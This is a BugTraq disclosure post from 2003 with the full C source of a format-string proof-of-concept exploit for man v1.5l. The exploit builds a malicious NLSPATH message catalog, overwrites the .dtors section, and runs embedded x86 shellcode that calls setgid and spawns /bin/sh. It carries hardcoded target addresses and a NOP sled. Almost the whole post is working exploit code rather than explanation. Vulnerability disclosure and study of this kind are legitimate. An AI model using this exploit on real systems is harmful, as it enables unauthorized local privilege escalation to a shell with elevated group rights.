BugTraq
man[v1.5l]: (catalog) format strings exploit / POC. Jun 03 2003 01:40PM
Vade 79 (v9 fakehalo deadpig org)


was looking at the source code to man, and came upon this. newer (g)

libc's will stop this from happening. but, still worth noting/effective

bypass with older (g)libc's (explained in exploit header)

Vade79 -> fakehalo.deadpig.org -> fakehalo.

-- xmanfmt.c: start --

/* (linux)man[v1.5l]: format string exploit. *

* *

* by: v9 (at) fakehalo.deadpig (dot) org [email concealed] / fakehalo. *

* *

* man v1.5l, and below, contain a format s- *

* tring vulnerability. the vulnerability *

* occurs when man uses an optional catalog *

* file, supplied by the NLSPATH/LANG envir- *

* onmental variables. *

* *

* this exploit takes advantage of this vul- *

* nerability by making a fake catalog. the *

* n, changing the 8th catget, which is "Wh- *

* at manual page do you want?", to "8 %.0d- *

* &hn%.0d&hn". (0=filled in correctly :)) *

* *

* since the environment is the closest user *

* supplied data reached popping, the explo- *

* it works like so: *

* *

* format bug itself: "8 %.0d&hn%.0d&hn", *

* ENVVAR=<dtors+2><dtors><nops><shellcode>. *

* so, the numbers used to write the address *

* are found in the environment, making the *

* environment needing to be well aligned. *

* *

* the bug itself is located here: *

* gripes.c:89:vfprintf(stderr,getmsg(n),p); *

* (getmsg() returns data from the catalog) *

* *

* successful exploitation will look like: *

* 000...000000000000000001074078752sh-2.04# *

* *

* note: recent glibc versions unsetenv() *

* NLSPATH, along with other environmental *

* variables, when running set*id programs. *

* so, this exploit is limited in that rega- *

* rd. this is just a proof of concept any- *

* ways. *

*********************************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <pwd.h>

#define PATH "/usr/bin/man" /* man binary. */

#define NOP_AMT 4096 /* number of NOPs. */

#define LANG_NAME "xx" /* "en", "fr", ... */

static char x86_exec[]= /* with setgid(15); */

"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"

"\x0f\xcd\x80\x89\x76\x08\x31\xc0\x88\x46"

"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"

"\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"

"\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62"

"\x69\x6e\x2f\x73\x68\x01";

struct platform {

unsigned short align;

unsigned int pops;

unsigned long dtors_addr;

unsigned long ret_addr;

char *exec;

};

struct platform target[2] =

{

{

/* alignment. */

0,

/* pops, example provided below. */

88,

/* objdump -sj.dtors /usr/bin/man */

(0x805122c+4),

/* generalized number, room to work. */

0xbffffe01,

/* shellcode, with setgid(15) */

x86_exec

},

{ 0, 0, 0, 0, NULL }

};

char *setfmt(unsigned int);

char *setfmtmem(unsigned int);

char *setlang(unsigned int);

void printe(char *);

int main(int argc,char **argv){

extern char **environ;

if(argc<2){

printf("(*)man[v1.5l]: format string exploit.\n"

"(*)by: v9 (at) fakehalo.deadpig (dot) org [email concealed] / fakehalo.\n\n"

"syntax: %s <platform>\n"

" 0 : Compiled RH/linux 2.4.2-2.\n",argv[0]);

exit(1);

}

if(atoi(argv[1])>0)

printe("main(): invalid platform number");

/* reset environment to ensure addresses */

/* are aligned. as the pointer used is */

/* going to be aligned in the environment. */

bzero((void *)&environ,sizeof(environ));

if(!(environ=(char **)malloc(3*(sizeof(char *)))))

printe("main(): allocation of memory error");

/* X<alignment>=<addr+2><addr><nops><shellcode> */

environ[0]=setfmtmem(atoi(argv[1]));

/* NLSPATH=/path/to/lang. */

environ[1]=setlang(atoi(argv[1]));

environ[2]=0x0;

if(execlp(PATH,PATH,0))

printe("main(): failed to execute man");

exit(0);

}

/* makes buffer: "8 %0d$hn%0d$hn" */

char *setfmt(unsigned int pf){

unsigned int addrl,addrh;

unsigned int pops=target[pf].pops;

unsigned long addr=target[pf].ret_addr;

char *buf;

addrh=(addr&0xffff0000)>>16;

addrl=(addr&0x0000ffff);

if(!(buf=(char *)malloc(64+1)))

printe("setfmt(): allocating memory failed");

bzero(buf,(64+1));

if(addrh<addrl)

sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn",

(addrh-1),pops,(addrl-addrh),(pops+1));

else

sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn",

(addrl-1),(pops+1),(addrh-addrl),pops);

/* example of how to find amount of pops. */

/* run the exploit with this return(), */

/* adding "%x"'s, until you see your data. */

/* return("8 "

"%x %x %x %x %x %x %x %x %x %x" // 10

"%x %x %x %x %x %x %x %x %x %x" // 20

"%x %x %x %x %x %x %x %x %x %x" // 30

"%x %x %x %x %x %x %x %x %x %x" // 40

"%x %x %x %x %x %x %x %x %x %x" // 50

"%x %x %x %x %x %x %x %x %x %x" // 60

"%x %x %x %x %x %x %x %x %x %x" // 70

"%x %x %x %x %x %x %x %x %x %x" // 80

"%x %x %x %x %x %x %x %x" // 8+80=88. (my box)

"\n"); */

return(buf);

}

/* makes buffer: <addr+2><addr><nops><shellcode> */

char *setfmtmem(unsigned int pf){

unsigned short align=target[pf].align;

unsigned long dtors=target[pf].dtors_addr;

char filler[][4]={"","X","XX","XXX"};

char taddr[3];

char *buf;

char *exec=target[pf].exec;

taddr[0]=(dtors&0xff000000)>>24;

taddr[1]=(dtors&0x00ff0000)>>16;

taddr[2]=(dtors&0x0000ff00)>>8;

taddr[3]=(dtors&0x000000ff);

if(!(buf=(char *)malloc(strlen(exec)+align+

NOP_AMT+11)))

printe("getfmtmem(): allocating memory failed");

bzero(buf,(strlen(exec)+align+NOP_AMT+11));

sprintf(buf,"X%s=%c%c%c%c%c%c%c%c",

filler[align],

taddr[3]+2,taddr[2],taddr[1],taddr[0],

taddr[3],taddr[2],taddr[1],taddr[0]);

memset(buf+(10+align),0x90,NOP_AMT);

memcpy(buf+((10+align+NOP_AMT)-strlen(exec)),

exec,strlen(exec));

return(buf);

}

char *setlang(unsigned int pf){

char *langfile;

char *langsrc;

char *execbuf;

char *envbuf;

struct passwd *pwd;

FILE *fs;

if(!(pwd=getpwuid(getuid())))

printe("passwd entry doesn't appear to exist");

else{

if(strlen(pwd->pw_dir)){

if(!(langfile=(char *)malloc(strlen((char *)

pwd->pw_dir)+strlen(LANG_NAME)+7)))

printe("setlang(): allocating memory failed");

sprintf(langfile,"%s/mess.%s",(char *)pwd->pw_dir,

LANG_NAME);

}

else

printe("passwd entry lookup failure");

}

if(!(langsrc=(char *)malloc(strlen(langfile)+5)))

printe("setlang(): allocating memory failed");

sprintf(langsrc,"%s.src",langfile);

if(!(fs=fopen(langsrc,"w")))

printe("setlang(): failed to write to cat file.");

fs=fopen(langsrc,"w");

fprintf(fs,"%s\n",setfmt(pf));

fclose(fs);

if(!(execbuf=(char *)malloc(strlen(langfile)+

strlen(langsrc)+9)))

printe("setlang(): allocating memory failed");

sprintf(execbuf,"gencat %s %s",langfile,langsrc);

unlink(langfile);

system(execbuf);

if(!(envbuf=(char *)malloc(strlen(langfile)+9)))

printe("setlang(): allocating memory failed");

sprintf(envbuf,"NLSPATH=%s",langfile);

free(langfile);

free(langsrc);

free(execbuf);

return(envbuf);

}

void printe(char *err){

fprintf(stderr,"error: %s.\n",err);

exit(0);

}

-- xmanfmt.c: end --

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus